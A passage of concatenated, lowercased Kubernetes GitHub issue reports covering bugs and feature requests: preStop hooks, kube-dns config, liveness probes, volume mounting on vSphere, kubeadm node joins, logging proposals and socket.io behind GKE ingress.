prometheus_port\r           value: \ 10055\ \r         ports:\r         - containerport: 10053\r           name: dns-local\r           protocol: udp\r         - containerport: 10053\r           name: dns-tcp-local\r           protocol: tcp\r         - containerport: 10055\r           name: metrics\r           protocol: tcp\r         volumemounts:\r         - name: kube-dns-config\r           mountpath: /kube-dns-config\r       - name: dnsmasq\r         image: kylincloud2.hub/k8s-dns-dnsmasq-nanny-arm64:1.14.5\r         livenessprobe:\r           httpget:\r             path: /healthcheck/dnsmasq\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           timeoutseconds: 5\r           successthreshold: 1\r           failurethreshold: 5\r         args:\r         - \ -v=2\ \r         - \ -logtostderr\ \r         - \ -configdir=/etc/k8s/dns/dnsmasq-nanny\ \r         - \ -restartdnsmasq=true\ \r         - \ --\ \r         - \ -k\ \r         - \ --cache-size=1000\ \r         - \ --log-facility=-\ \r         - \ --server=/cluster.local/127.0.0.1 10053\ \r         - \ --server=/in-addr.arpa/127.0.0.1 10053\ \r         - \ --server=/ip6.arpa/127.0.0.1 10053\ \r         ports:\r         - containerport: 53\r           name: dns\r           protocol: udp\r         - containerport: 53\r           name: dns-tcp\r           protocol: tcp\r         resources:\r           requests:\r             cpu: 150m\r             memory: 20mi\r         volumemounts:\r         - name: kube-dns-config\r           mountpath: /etc/k8s/dns/dnsmasq-nanny\r       - name: sidecar\r         image: kylincloud2.hub/k8s-dns-sidecar-arm64:1.14.5  \r         livenessprobe:\r           httpget:\r             path: /metrics\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           timeoutseconds: 5\r           successthreshold: 1\r           failurethreshold: 5\r         args:\r         - \ --v=2\ \r         - \ --logtostderr\ \r         - \ --probe=kubedns,127.0.0.1:10053,kubernetes.default.svc.cluster.local,5,a\ \r         - \ --probe=dnsmasq,127.0.0.1:53,kubernetes.default.svc.cluster.local,5,a\ \r         ports:\r         - containerport: 10054\r           name: metrics\r           protocol: tcp\r         resources:\r           requests:\r             memory: 20mi\r             cpu: 10m\r \r \r   environment  :\r k8s version:1.9.4\r arm64 ubuntu16.04\r

 \r   what happened  :\r i have defined a prestop handler that waits for 5 minutes and even that the pod is killed after default 30 seconds of grace period.\r \r   what you expected to happen  :\r take 5 minutes to terminate the pod  prestop should be blocking \r \r   how to reproduce it  as minimally and precisely as possible   :\r  handler definition: \r     yaml\r         lifecycle:\r           prestop:\r             exec:\r               command:  \ /shutdown.sh\  \r    \r  shutdown.sh: \r     console\r  !/bin/sh\r \r for i in 1 2 3 4 5 6 7 8 9 10\r do\r         echo \ shutdown $i \   date   >> /data/shutdown.log\r         sleep 30\r done\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  gitversion:\ v1.10.3-2+c8f1f59d8d233c\ , gitcommit:\ c8f1f59d8d233c6e9a10cedd8aad4f43ad9ef5c7\ \r - cloud provider or hardware configuration: bluemix\r - os  e.g. from /etc/os-release : any\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r kube-controller-manager option  --deployment-controller-sync-period  seems completely unused in the code. all occurrences of related variable  deploymentcontrollersyncperiod  are write-only or declaration:\r \r    \r ~/kubernetes/kubernetes$ grep -r deploymentcontrollersyncperiod ./\r ./cmd/kube-controller-manager/app/options/options_test.go:\t\t\tdeploymentcontrollersyncperiod: metav1.duration{duration: 45   time.second},\r ./cmd/kube-controller-manager/app/options/options.go:\t\t\tdeploymentcontrollersyncperiod: componentconfig.deploymentcontroller.deploymentcontrollersyncperiod,\r ./cmd/kube-controller-manager/app/options/deploymentcontroller.go:\tdeploymentcontrollersyncperiod metav1.duration\r ./cmd/kube-controller-manager/app/options/deploymentcontroller.go:\tfs.durationvar &o.deploymentcontrollersyncperiod.duration, \ deployment-controller-sync-period\ , o.deploymentcontrollersyncperiod.duration, \ period for syncing the deployments.\  \r ./cmd/kube-controller-manager/app/options/deploymentcontroller.go:\tcfg.deploymentcontrollersyncperiod = o.deploymentcontrollersyncperiod\r ./staging/src/k8s.io/kube-controller-manager/config/v1alpha1/types.go:\tdeploymentcontrollersyncperiod metav1.duration\r ./staging/src/k8s.io/kube-controller-manager/config/v1alpha1/zz_generated.deepcopy.go:\tout.deploymentcontrollersyncperiod = in.deploymentcontrollersyncperiod\r ./api/api-rules/violation_exceptions.list:api rule violation: names_match,k8s.io/kube-controller-manager/config/v1alpha1,deploymentcontrollerconfiguration,deploymentcontrollersyncperiod\r ./pkg/controller/apis/config/types.go:\tdeploymentcontrollersyncperiod metav1.duration\r ./pkg/controller/apis/config/zz_generated.deepcopy.go:\tout.deploymentcontrollersyncperiod = in.deploymentcontrollersyncperiod\r ./pkg/controller/apis/config/v1alpha1/zz_generated.conversion.go:\tout.deploymentcontrollersyncperiod = in.deploymentcontrollersyncperiod\r ./pkg/controller/apis/config/v1alpha1/zz_generated.conversion.go:\tout.deploymentcontrollersyncperiod = in.deploymentcontrollersyncperiod\r ./pkg/controller/apis/config/v1alpha1/defaults.go:\tif obj.deploymentcontrollersyncperiod == zero {\r ./pkg/controller/apis/config/v1alpha1/defaults.go:\t\tobj.deploymentcontrollersyncperiod = metav1.duration{duration: 30   time.second}\r \r    \r \r   what you expected to happen  :\r maybe, it's better to completely remove this option?\r \r <!-- do not edit below this line -->\r 

this is similar to issue i filed awhile ago - https://github.com/kubernetes/kubernetes/issues/41307 which is basically, if  attach  of a volume keeps failing for quite awhile then  detach  also won't be attempted until  maxdurationbeforeretry   2 min 2s currently  if exponential backoff does reaches that threshold.\r \r i think we should not let concurrent operation on a volume but when nature of operation changes on a volume, we should reset the exponential backoff. imo - it does not make sense to start from where previous operation left off when the operations aren't the same.\r \r \r i think that may solve/help with problem https://github.com/kubernetes/kubernetes/issues/47350 issuecomment-470802348\r \r cc @kubernetes/sig-storage-misc @smarterclayton \r

i deploy es and fluentd in same namespace test , and wirte below config to ensure fluentd can visit es:\r    \r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             host: elasticsearch-logging\r             path: /\r             port: 9200\r             scheme: http\r           initialdelayseconds: 10\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 1\r    \r \r not work, then i use whole dns name, still failed:\r    \r readiness probe failed: get http://elasticsearch-logging.test.svc.cluster.local:9200/: dial tcp: lookup elasticsearch-logging.test.svc.cluster.local: no such host\r    \r \r i remove liveness part and use  curl  in fluentd pod, that works:\r    \r root@fluentd-es-2dvmf:/  curl http://elasticsearch-logging:9200/\r {\r   \ name\  : \ elasticsearch-logging-0\ ,\r   \ cluster_name\  : \ skydiscovery-es-cluster\ ,\r   \ cluster_uuid\  : \ fr3oszpht_qp9hqj1wygna\ ,\r   \ version\  : {\r     \ number\  : \ 6.2.4\ ,\r     \ build_hash\  : \ ccec39f\ ,\r     \ build_date\  : \ 2018-04-12t20:37:28.497551z\ ,\r     \ build_snapshot\  : false,\r     \ lucene_version\  : \ 7.2.1\ ,\r     \ minimum_wire_compatibility_version\  : \ 5.6.0\ ,\r     \ minimum_index_compatibility_version\  : \ 5.0.0\ \r   },\r   \ tagline\  : \ you know, for search\ \r }\r \r    \r \r why they behave different? \r \r is there any way to do this?\r

on the default log level  --v=2   kube-controller-manager  keeps throwing informational messages about received sync deltas:      kube-controller-manager 7154 : i1026 09:19:38.077246    7154 servicecontroller.go:222  got new sync delta for service: &{typemeta:{kind: apiversion:} objectmeta:{name:kubernetes generatename: namespace:default selflink:/api/v1/namespaces/default/services/kubernetes uid:2551794d-6ad5-11e5-903c-0a09c88130bd resourceversion:903 generation:0 creationtimestamp:2015-10-04 20:18:59 +0000 utc deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map component:apiserver provider:kubernetes  annotations:map  } spec:{type:clusterip ports: {name: protocol:tcp port:443 targetport:{kind:0 intval:443 strval:} nodeport:0}  selector:map   clusterip:10.10.0.1 externalips:   loadbalancerip: sessionaffinity:none} status:{loadbalancer:{ingress:  }}} kube-controller-manager 7154 : i1026 09:19:38.077415    7154 servicecontroller.go:277  lb already exists and doesn't need update for service default/kubernetes      these events are logged every 5 minutes for each service, making it hard to find relevant messages when browsing the logs/journal within a timespan of several hours on busy clusters.  i believe the default log level should not, at least in this case, output messages when basically nothing happened. does it sound like a reasonable behavior for productive environments?

problem  our code is riddled with snippets that look like this:      go if err != nil {   return nil, err }      these lines bubble errors up the call stack until someone decides to log them and move on:      go if err != nil {   glog.errorf \ something failed: %v\ , err  }      which can yield an unhelpful error message like  fake, but not totally unreasonable :      e0426 01:02:59.506727    2740 manager.go:110  something failed: unexpected eof      and now we're tasked with trying to crawl through the code to figure out where that error actually came from.  we discourage logging an error that's also returned  duplicate log statements interwoven throughout the code can also be confusing , but if you  the person debugging  is lucky someone has attached a unique context message that can help you find the source  e.g.  operation foo called on pod bar  441234  failed: %v  .    assumptions - errors are relatively uncommon - i.e. this doesn't apply to \ not found\  errors that should probably be  bool s, or errors which can be generated in a tight loop - errors are ephemeral - that is, they are handled  e.g. logged  and then discarded  not stored anywhere  - when an error is produced, it is not always possible to know how it will be handled, or even how severe it is    proposal  from the above assumptions, i get 2 guiding principles: 1. if returning an error, it is your job to provide the maximum amount of debugging information and context around that error. 2. if handling an error, it is your job to use the _appropriate_ context for the specific case  e.g. a critical failure should have more detail than something that is expected to occassionally fail and will be retried .  to this end, i'd like to create a kubernetes error package that we promote everywhere. the constructor could look something like  rough sketch, not final api :      go func new msg string, context ...context  error { ... } // context tbd func wrap msg string, err error, context ...context  error { ... }      in addition to the provided message, error, and context the constructors could automatically attach additional metadata such as: a full stack trace, timestamp, etc.  we would also provide formatting functions that could flatten the error objects and format them to various levels of detail for logging. finally, to get the maximum benefit, we would want to discourage the pattern of returning a raw error without first wrapping it with extra context.  for implementation, there are already several projects which provide similar functionality: - https://github.com/go-errors/errors   blog  http://blog.bugsnag.com/go-errors   - https://github.com/hashicorp/errwrap  x-ref: https://github.com/kubernetes/kubernetes/issues/6461, https://github.com/kubernetes/kubernetes/issues/23338 - this proposal is independent of which log library we use, we just need to provide functions to log the appropriate context in whatever format.  /cc @thockin @timothysc @pwittrock @bgrant0607

it would be ideal to be able to configure the  es_host  in the image via an environment variable rather than have hard coded in the config fie.  https://github.com/ajohnstone/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-image/td-agent.conf l229

hi,  right now the flexvolume module combines stderr and stdout when reading the response of a flexvolume driver. instead, it should read only from stdout and just log the stderr output.  the same reasoning for differentiating between stderr and stdout in all other tools apply: stdout is for regular, expected output which is the json based \ api\  in the case of flexvolume. stderr on the other hand is for exceptional data, which would be any kind of logging in the flexvolume driver that can't be conveyed via the json based response  specifically in my current case it's debug logging .

we have greatly reduced the api calls made by a cluster, but we are still making a describeinstances calls every time we query the routes, and this is not necessary.  some users are reporting api ratelimit errors still on bigger clusters.  we should cache the mapping from instance-id to privatednsname  both of which are immutable i believe

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/31093/kubernetes-pull-build-test-e2e-gce/58488/  failed:  k8s.io  kubectl client  k8s.io  kubectl taint should remove all the taints with the same key off a node {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1313 sep 12 16:18:48.314: failed to find kubernetes.io/e2e-taint-key-41404993-793f-11e6-a62d-0242ac110002=another-testing-taint-value:prefernoschedule in name:          e2e-gce-agent-pr-42-0-master labels:         agent-pr-42=             beta.kubernetes.io/arch=amd64             beta.kubernetes.io/instance-type=n1-standard-1             beta.kubernetes.io/os=linux             failure-domain.beta.kubernetes.io/region=us-central1             failure-domain.beta.kubernetes.io/zone=us-central1-f             kubernetes.io/hostname=e2e-gce-agent-pr-42-0-master taints:         kubernetes.io/e2e-taint-key-41404993-793f-11e6-a62d-0242ac110002=testing-taint-value:noschedule creationtimestamp:  mon, 12 sep 2016 16:13:43 -0700 phase:           conditions:   type          status  lastheartbeattime           lasttransitiontime          reason              message   ----          ------  -----------------           ------------------          ------              -------   networkunavailable    false   mon, 12 sep 2016 16:18:39 -0700     mon, 12 sep 2016 16:18:39 -0700     routecreated            routecontroller created a route   outofdisk         false   mon, 12 sep 2016 16:18:46 -0700     mon, 12 sep 2016 16:13:43 -0700     kubelethassufficientdisk    kubelet has sufficient disk space available   memorypressure    false   mon, 12 sep 2016 16:18:46 -0700     mon, 12 sep 2016 16:13:43 -0700     kubelethassufficientmemory  kubelet has sufficient memory available   diskpressure      false   mon, 12 sep 2016 16:18:46 -0700     mon, 12 sep 2016 16:13:43 -0700     kubelethasnodiskpressure    kubelet has no disk pressure   ready         true    mon, 12 sep 2016 16:18:46 -0700     mon, 12 sep 2016 16:13:43 -0700     kubeletready            kubelet is posting ready status. apparmor enabled addresses:      10.240.0.2,104.198.243.6 capacity:  alpha.kubernetes.io/nvidia-gpu:    0  cpu:                   1  memory:                3788348ki  pods:                  110 allocatable:  alpha.kubernetes.io/nvidia-gpu:    0  cpu:                   1  memory:                3788348ki  pods:                  110 system info:  machine id:            049d3f68671b35888f91554757d73627  system uuid:           9dee1acd-3816-a5a0-4521-ebd37da24e54  boot id:           39f30484-e5e5-43dd-8bad-f98cd0808577  kernel version:        4.4.14+  os image:          google container-vm image  operating system:      linux  architecture:          amd64  container runtime version: docker://1.11.2  kubelet version:       v1.5.0-alpha.0.657+371e45d90c13b5  kube-proxy version:        v1.5.0-alpha.0.657+371e45d90c13b5 podcidr:            10.180.0.0/24 externalid:         2190090795329685758 non-terminated pods:         10 in total    namespace         name                                cpu requests    cpu limits  memory requests memory limits   ---------         ----                                ------------    ----------  --------------- -------------   kube-system           etcd-empty-dir-cleanup-e2e-gce-agent-pr-42-0-master     0  0%       0  0%       0  0%       0  0%    kube-system           etcd-server-e2e-gce-agent-pr-42-0-master            200m  20%   0  0%       0  0%       0  0%    kube-system           etcd-server-events-e2e-gce-agent-pr-42-0-master         100m  10%   0  0%       0  0%       0  0%    kube-system           kube-addon-manager-e2e-gce-agent-pr-42-0-master         5m  0%      0  0%       50mi  1%    0  0%    kube-system           kube-apiserver-e2e-gce-agent-pr-42-0-master         250m  25%   0  0%       0  0%       0  0%    kube-system           kube-controller-manager-e2e-gce-agent-pr-42-0-master        200m  20%   0  0%       0  0%       0  0%    kube-system           kube-scheduler-e2e-gce-agent-pr-42-0-master         100m  10%   0  0%       0  0%       0  0%    kube-system           l7-lb-controller-v0.7.1-e2e-gce-agent-pr-42-0-master        10m  1%     0  0%       50mi  1%    0  0%    kube-system           node-problem-detector-v0.1-yvh7w                20m  2%     200m  20%   20mi  0%    100mi  2%    kube-system           rescheduler-v0.2.1-e2e-gce-agent-pr-42-0-master         10m  1%     0  0%       100mi  2%   0  0%  allocated resources:    total limits may be over 100 percent, i.e., overcommitted.   cpu requests  cpu limits  memory requests memory limits   ------------  ----------  --------------- -------------   895m  89%     200m  20%   220mi  5%   100mi  2%  events:   firstseen lastseen    count   from                    subobjectpath   type        reason          message   --------- --------    -----   ----                    -------------   --------    ------          -------   6m        6m      1   {kubelet e2e-gce-agent-pr-42-0-master}          normal      starting        starting kubelet.   6m        6m      1   {kubelet e2e-gce-agent-pr-42-0-master}          normal      nodenotschedulable  node e2e-gce-agent-pr-42-0-master status is now: nodenotschedulable   6m        5m      53  {kubelet e2e-gce-agent-pr-42-0-master}          normal      nodehassufficientdisk   node e2e-gce-agent-pr-42-0-master status is now: nodehassufficientdisk   6m        5m      53  {kubelet e2e-gce-agent-pr-42-0-master}          normal      nodehassufficientmemory node e2e-gce-agent-pr-42-0-master status is now: nodehassufficientmemory   6m        5m      53  {kubelet e2e-gce-agent-pr-42-0-master}          normal      nodehasnodiskpressure   node e2e-gce-agent-pr-42-0-master status is now: nodehasnodiskpressure  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1396      happened on a presubmit run in  31093.  previous issues for this test:  31066  31967  32219

is this a bug report or feature request?    choose one :\r code enhancement\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   description  :\r there're some duplicated code slice about building/adding  v1.resourcelist  into  schedulercache.resource , it's better to have helper funcs to avoid duplication.

 \r   what happened  :\r i deployed a lab cluster in 1.6. and then use kubeadm reset to tear down the cluster.\r then i install 1.7 version kubelet and kubeadm.\r kubeadm init on master succeeded.\r \r on the other node:\r    \r kubeadm join --token 94bdf4.a838c6738b453d5f x.x.x.x:6443\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  preflight  starting the kubelet service\r  discovery  trying to connect to api server \ x.x.x.x:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://x.x.x.x:6443\ \r  discovery  cluster info signature and contents are valid, will use api server \ https://x.x.x.x:6443\ \r  discovery  successfully established connection with api server \ x.x.x.x:6443\ \r  bootstrap  detected server version: v1.7.0\r  bootstrap  the server supports the certificates api  certificates.k8s.io/v1beta1 \r  csr  created api client to obtain unique certificate for this node, generating keys and certificate signing request\r  csr  received signed certificate from the api server, generating kubeconfig...\r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r \r node join complete:\r   certificate signing request sent to master and response\r   received.\r   kubelet informed of new secure connection details.\r \r run 'kubectl get nodes' on the master to see this machine join.\r    \r \r kubectl get nodes only show master\r    \r kubectl get nodes\r name                         status    age       version\r 01v                                 ready     1h        v1.7.0\r    \r \r   what you expected to happen  :\r on master:\r kubectl get nodes show all nodes\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r red hat enterprise linux server release 7.2  maipo \r - kernel  e.g.  uname -a  :\r   linux  3.10.0-327.el7.x86_64  1 smp thu oct 29 17:29:29 edt 2015 x86_64 x86_64 x86_64 gnu/linux  \r - install tools:\r - others:\r

i have kubernetes installed on bare metal ubuntu server, below is the output of kubectl version command\r \r > client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r i am running google shellinabox inside a docker container. it all works well with the docker container, but when i put the same image inside a kubernetes pod and expose it with a kubernetes service, my browser session to shellinabox times out after ~60 secs. since this works fine with standalone docker container, i think this is caused by kubernetes. is there any timeout on the kubernetes and how do i configure that.\r \r any help?\r \r

is this a bug report or feature request?:\r \r bug report\r  \r what happened: i created a pvc using storageclass. the pod which used the pvc fails to start. i see the disk was attached successfully to the node but the mount operation has failed.\r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   1m\t\t1m\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned thindiskpod to node3\r   1m\t\t1m\t\t1\t{kubelet node3}\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-5h5x6\  \r   1m\t\t1m\t\t5\t{kubelet node3}\t\t\t\twarning\t\tfailedmount\t\tmountvolume.mountdevice failed for volume \ pvc-4dc51e93-82c5-11e7-a497-0050569c48bf\  : executable file not found in $path\r    \r \r what you expected to happen: the pv to mount, format and the pod to start\r \r how to reproduce it  as minimally and precisely as possible : use the latest master builds for kubernetes deployments.\r \r anything else we need to know?: n/a\r \r environment: vsphere\r \r i see the following errors on the kubelet where the node failed to format the disk and eventually mount was failed.\r \r > {\ log\ :\ i0816 20:56:15.900236     659 operation_generator.go:417  mountvolume.waitforattach succeeded for volume \\\ pvc-4dc51e93-82c5-11e7-a497-0050569c48bf\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  kubevols/kubernetes-dynamic-pvc-4dc51e93-82c5-11e7-a497-0050569c48bf.vmdk\\\   pod \\\ thindiskpod\\\   uid: \\\ 52fbf7a2-82c5-11e7-a497-0050569c48bf\\\   \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.901072134z\ }\r \r > {\ log\ :\ i0816 20:56:15.902508     659 mount_linux.go:413  checking for issues with fsck on disk: /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.902695897z\ }\r \r > {\ log\ :\ i0816 20:56:15.921616     659 mount_linux.go:427   fsck  error fsck from util-linux 2.25.2\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.921725608z\ }\r \r > {\ log\ :\ fsck: error 2  no such file or directory  while executing fsck.ext2 for /dev/sdb\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.921752327z\ }\r \r > {\ log\ :\ i0816 20:56:15.921652     659 mount_linux.go:432  attempting to mount disk: ext4 /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5 /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ vsandatastore  kubevols/kubernetes-dynamic-pvc-4dc51e93-82c5-11e7-a497-0050569c48bf.vmdk\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.921774238z\ }\r \r > {\ log\ :\ i0816 20:56:15.921686     659 mount_linux.go:160  mounting cmd  mount  with arguments   -t ext4 -o defaults /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5 /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ vsandatastore  kubevols/kubernetes-dynamic-pvc-4dc51e93-82c5-11e7-a497-0050569c48bf.vmdk  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.921948786z\ }\r \r > {\ log\ :\ e0816 20:56:15.929506     659 mount_linux.go:165  mount failed: exit status 32\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929619467z\ }\r \r > {\ log\ :\ mounting command: mount\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.92963496z\ }\r \r > {\ log\ :\ mounting arguments: -t ext4 -o defaults /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5 /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ vsandatastore  kubevols/kubernetes-dynamic-pvc-4dc51e93-82c5-11e7-a497-0050569c48bf.vmdk\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929639337z\ }\r \r > {\ log\ :\ output: mount: wrong fs type, bad option, bad superblock on /dev/sdb,\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929642498z\ }\r \r > {\ log\ :\        missing codepage or helper program, or other error\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929645312z\ }\r \r > {\ log\ :\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929647822z\ }\r \r > {\ log\ :\        in some cases useful info is found in syslog - try\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929650562z\ }\r \r > {\ log\ :\        dmesg | tail or so.\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929653095z\ }\r \r > {\ log\ :\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.929655488z\ }\r \r > {\ log\ :\ i0816 20:56:15.931335     659 mount_linux.go:480  attempting to determine if disk \\\ /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5\\\  is formatted using lsblk with args:   -n -o fstype /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5  \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.931446377z\ }\r \r > {\ log\ :\ i0816 20:56:15.938198     659 mount_linux.go:483  output: \\\ \\\ \\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.938284852z\ }\r \r > {\ log\ :\ i0816 20:56:15.938236     659 mount_linux.go:452  disk \\\ /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5\\\  appears to be unformatted, attempting to format as type: \\\ ext4\\\  with options:  -f /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5 \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.938393307z\ }\r \r > {\ log\ :\ e0816 20:56:15.939026     659 mount_linux.go:460  format of disk \\\ /dev/disk/by-id/wwn-0x6000c29d3c96f77096950581483fe3a5\\\  failed: type: \\\ ext4\\\   target: \\\ /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ vsandatastore  kubevols/kubernetes-dynamic-pvc-4dc51e93-82c5-11e7-a497-0050569c48bf.vmdk\\\   options:  \\\ defaults\\\   error: executable file not found in $path \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.939126395z\ }\r \r > {\ log\ :\ i0816 20:56:15.939915     659 server.go:214  event v1.objectreference{kind:\\\ pod\\\ , namespace:\\\ default\\\ , name:\\\ thindiskpod\\\ , uid:\\\ 52fbf7a2-82c5-11e7-a497-0050569c48bf\\\ , apiversion:\\\ v1\\\ , resourceversion:\\\ 5203\\\ , fieldpath:\\\ \\\ } : type: 'warning' reason: 'failedmount' mountvolume.mountdevice failed for volume \\\ pvc-4dc51e93-82c5-11e7-a497-0050569c48bf\\\  : executable file not found in $path\ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2017-08-16t20:56:15.94001794z\ }\r \r @tusharnt @divyenpatel @luomiao @rohitjogvmw\r \r

is this a bug report or feature request?  :\r  \r \r   what happened  :\r running a socket.io app with gke. configured with ingress/service/deployment/...etc. when only have one pod in the cluster all works well. but when increasing pod to more than one, browser console starts to print errors like below:\r >  error  failed to load resource: the server responded with a status of 400  http/2.0 400   socket.io, line 0 \r >  error  websocket connection to 'wss://my_host/socket.io/?eio=3&transport=websocket&sid=jyehsgeksz1tzadnaabw' failed: unexpected response code: 501\r \r sometimes with refreshing my website for several times, the complaint gone and everything behave normally. \r \r \r   what you expected to happen  :\r websocket works without error in a cluster with multiple pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a simple socket.io app running on a single pod, then create a service with sessionaffinity: clientip configured. then ingress as load balancer, gke will provision a public ip for you. open a web browser point to the ip and you should see your app work correctly. then scale your app to multiple pods, you should be able to see some error from browser console.\r \r   anything else we need to know?  :\r     \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: web\r   name: web\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       run: web\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         run: web\r     spec:\r       containers:\r       - image: registry.gitlab.com/myimg:latest\r         name: web\r         env:\r         - name: port\r           value: \ 80\ \r         ports:\r         - containerport: 80\r           protocol: tcp\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       terminationgraceperiodseconds: 30\r ---\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     run: web\r   name: web\r spec:\r   ports:\r   - port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     run: web\r   sessionaffinity: clientip\r   type: nodeport\r ---\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: staging-ingress\r   annotations:\r     kubernetes.io/tls-acme: \ true\ \r     kubernetes.io/ingress.class: \ gce\ \r spec:\r   tls:\r   - hosts:\r     - example.com\r     secretname: dev-tls\r   rules:\r   - host: example.com\r     http:\r       paths:\r       - path: / \r         backend:\r           servicename: web\r           serviceport: 80\r     \r   environment  :\r - kubernetes version  use  kubectl version  : \r > client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 